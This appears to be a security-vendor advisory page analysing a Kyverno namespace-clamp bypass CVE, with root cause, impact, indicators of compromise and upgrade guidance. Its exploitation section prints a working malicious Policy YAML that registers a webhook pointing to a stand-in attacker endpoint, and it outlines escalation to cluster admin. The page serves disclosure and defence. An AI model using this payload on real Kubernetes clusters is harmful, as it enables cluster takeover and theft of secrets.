Vulnerability DatabaseCVE-2026-124440

CVE-2026-124440: 
Kyverno vulnerability analysis and mitigation

Overview

CVE-2026-124440 is a critical authorization bypass vulnerability in Kyverno's apiCall namespace clamp that allows authenticated namespace tenants to issue cross-namespace and cluster-scoped Kubernetes API requests, ultimately escalating to cluster admin. It affects Kyverno version 1.19.1 and was patched in version 1.19.2. The vulnerability was published on November 8, 2026, and was reported by security researcher WarlordSam07. It carries a CVSS v3.1 score of 9.9 (Critical) and a CVSS v4.0 score of 9.4 (Critical) (GitHub Security Advisory, GitHub Advisory).

Technical details

The root cause is a "confused deputy" flaw (CWE-441) combined with incorrect authorization (CWE-863) in pkg/engine/apicall/apiCall.go within the Fetch function. When url.PathUnescape() encounters a malformed percent-escape (e.g., ?a=%) in the urlPath, it returns an error and falls back to validating the raw, un-decoded path string — but the actual HTTP request is issued against that same raw path via RawAbsPath. The namespace clamp therefore validates the attacker's own namespace from the raw string (where %2e%2e is not decoded), while client-go's RequestURI fully decodes the path and resolves the %2e%2e traversal segments, routing the request to a different namespace or a cluster-scoped collection. The bypass is an open class of inputs — any malformed percent-escape in a query parameter (e.g., ?a=%, ?a=%2, ?a=%zz) triggers the fallback, making it trivially exploitable. This issue reopens vulnerabilities previously addressed by GHSA-c5qq-7g2q-cpqp and GHSA-5qq8-67g6-4h2w in the v1.19.1 release (GitHub Security Advisory).

Impact

A successful exploit grants a namespace-confined tenant the ability to read any resource accessible to the Kyverno admission-controller ServiceAccount across all namespaces (including Secrets where the deployment permits), and to create, update, or delete cluster-scoped MutatingWebhookConfiguration and ValidatingWebhookConfiguration objects. By registering a malicious cluster-scoped webhook, the attacker can intercept and mutate admission requests across every namespace, enabling a full chain to cluster admin — including reading all secrets, modifying any resource, and disrupting any workload or control-plane object. This constitutes a total loss of confidentiality, integrity, and availability across the entire Kubernetes cluster (GitHub Security Advisory).

Exploitability

A proof-of-concept exploit in the form of a deployable malicious Kyverno Policy YAML is publicly available in the GitHub Security Advisory, including a described step-by-step chain from namespace tenant to cluster admin (GitHub Security Advisory). There is no evidence of in-the-wild exploitation at this time, and the NVD SSVC assessment lists exploitation as "none" (GitHub Advisory). The EPSS score is approximately 0.548%, placing it in the 47th percentile for exploitation probability within 30 days. The vulnerability is not currently listed in the CISA KEV catalog. Exploitation requires only create permission on policies.kyverno.io in the attacker's own namespace — a low privilege bar for multi-tenant Kubernetes environments.

Exploitation steps

  1. Establish foothold: Obtain create permission on policies.kyverno.io resources in a namespace you control (e.g., attacker-ns). This is the only privilege required.
  2. Craft malicious Policy: Create a namespaced Kyverno Policy whose apiCall.urlPath contains %2e%2e path traversal segments and a malformed percent-escape in the query string to force the namespace clamp fallback. For a cluster-scoped webhook write, use:
apiVersion: kyverno.io/v1
kind: Policy
metadata: { name: clamp-bypass, namespace: attacker-ns }
spec:
  validationFailureAction: Audit
  background: false
  rules:
  - name: emit
    match: { any: [ { resources: { kinds: [ConfigMap] } } ] }
    context:
    - name: r
      apiCall:
        method: POST
        urlPath: "/apis/admissionregistration.k8s.io/v1/namespaces/attacker-ns/%2e%2e/%2e%2e/mutatingwebhookconfigurations?a=%"
        data:
        - { key: apiVersion, value: admissionregistration.k8s.io/v1 }
        - { key: kind, value: MutatingWebhookConfiguration }
        - { key: metadata, value: { name: cross-scope-write } }
        - key: webhooks
          value:
          - name: w.attacker-ns.svc
            admissionReviewVersions: [v1]
            sideEffects: None
            failurePolicy: Ignore
            clientConfig: { url: https://attacker-endpoint/ }
            rules: [ { operations: [CREATE], apiGroups: [""], apiVersions: [v1], resources: [pods] } ]
    validate:
      message: "n={{ r.metadata.name }}"
      deny: {}
  1. Trigger the Policy: Create any ConfigMap in attacker-ns to trigger the admission webhook and force the apiCall to execute.
  2. Bypass the namespace clamp: The url.PathUnescape call fails on ?a=%, causing the fallback to validate the raw path (which still shows attacker-ns), while client-go decodes %2e%2e and routes the POST to the cluster-scoped mutatingwebhookconfigurations collection as the Kyverno admission-controller ServiceAccount.
  3. Verify cluster-scoped write: Confirm the MutatingWebhookConfiguration was created under the controller's identity: kubectl get mutatingwebhookconfiguration cross-scope-write -o jsonpath='{.metadata.managedFields[0].manager}' → kyverno.
  4. Cross-namespace read (optional): Use a one-segment traversal variant (/api/v1/namespaces/attacker-ns/%2e%2e/victim-ns/configmaps/victim-config?a=%) to read resources from other namespaces via the deny message output.
  5. Escalate to cluster admin: Register a broad webhook (no namespace selector) targeting kube-system pod creation, pointing to an attacker-controlled endpoint that returns a JSONPatch replacing serviceAccountName with clusterrole-aggregation-controller and injecting an attacker container. Use the mounted token to patch system:basic-user ClusterRole to grant all verbs on all resources, achieving cluster admin for the attacker's ServiceAccount (GitHub Security Advisory).

Indicators of compromise

  • Kubernetes API Audit Logs: POST requests to cluster-scoped /apis/admissionregistration.k8s.io/v1/mutatingwebhookconfigurations or /validatingwebhookconfigurations where the userAgent is kyverno and the initiating user is the Kyverno admission-controller ServiceAccount (e.g., system:serviceaccount:kyverno:kyverno-admission-controller), especially when no corresponding tenant-level permission exists.
  • Kubernetes API Audit Logs: GET requests to resources in namespaces other than the policy's own namespace, issued by the Kyverno admission-controller ServiceAccount, particularly for configmaps or secrets.
  • Kyverno Policy Objects: Namespaced Policy resources containing apiCall.urlPath values with %2e%2e (percent-encoded dot-dot) traversal segments and/or malformed percent-escapes in query parameters (e.g., ?a=%, ?a=%2, ?a=%zz).
  • Kubernetes Resources: Unexpected MutatingWebhookConfiguration or ValidatingWebhookConfiguration objects created by the Kyverno ServiceAccount, especially those with broad namespaceSelector (or none) pointing to external or tenant-controlled endpoints.
  • Kubernetes Resources: Unexpected modifications to ClusterRole objects, particularly system:basic-user, granting elevated permissions.
  • Network: Outbound webhook calls from kube-apiserver to unexpected or tenant-controlled endpoints (non-standard service URLs in webhook clientConfig).
  • Process/Pod Behavior: Pods in kube-system with unexpected serviceAccountName values or injected containers not matching the original workload spec (GitHub Security Advisory).

Mitigation and workarounds

Upgrade Kyverno to version 1.19.2 or later, which contains the fix for this vulnerability (GitHub Security Advisory, GitHub Advisory). As interim mitigations: audit all existing namespaced Policies for apiCall.urlPath values containing percent-encoded characters or traversal sequences; restrict create permissions on policies.kyverno.io to trusted principals only; and monitor for unexpected MutatingWebhookConfiguration or ValidatingWebhookConfiguration objects created by the Kyverno ServiceAccount. Note that simply filtering specific malformed escapes (e.g., ?a=%) is insufficient, as the bypass is an open class of inputs — only upgrading to 1.19.2 fully resolves the issue.

Community reactions

The vulnerability was reported by researcher WarlordSam07 and published by Kyverno maintainer JimBugwadia via GitHub Security Advisory GHSA-39w8-hv5g-f73w (GitHub Security Advisory). A technical blog post was published on ZeroPath analyzing the namespace clamp bypass (ZeroPath Blog), and a developer article on dev.to discussed the percent-encoded path failure (Dev.to Article). VulnCheck also published an advisory covering the privilege escalation chain (VulnCheck Advisory).

Additional resources


Source: This report was generated using AI

Related Kyverno vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-124440CRITICAL9.4
  • Kyverno logoKyverno
  • cpe:2.3:a:kyverno:kyverno
NoYesNov 08, 2026
CVE-2026-124441HIGH8.7
  • Kyverno logoKyverno
  • cpe:2.3:a:kyverno:kyverno
NoYesNov 08, 2026
CVE-2026-122323HIGH8.7
  • Kyverno logoKyverno
  • cpe:2.3:a:kyverno:kyverno
NoYesNov 05, 2026
CVE-2026-122322HIGH8.7
  • Kyverno logoKyverno
  • kyverno
NoYesNov 05, 2026
CVE-2026-122321HIGH8.5
  • Kyverno logoKyverno
  • cpe:2.3:a:kyverno:kyverno
NoYesNov 05, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management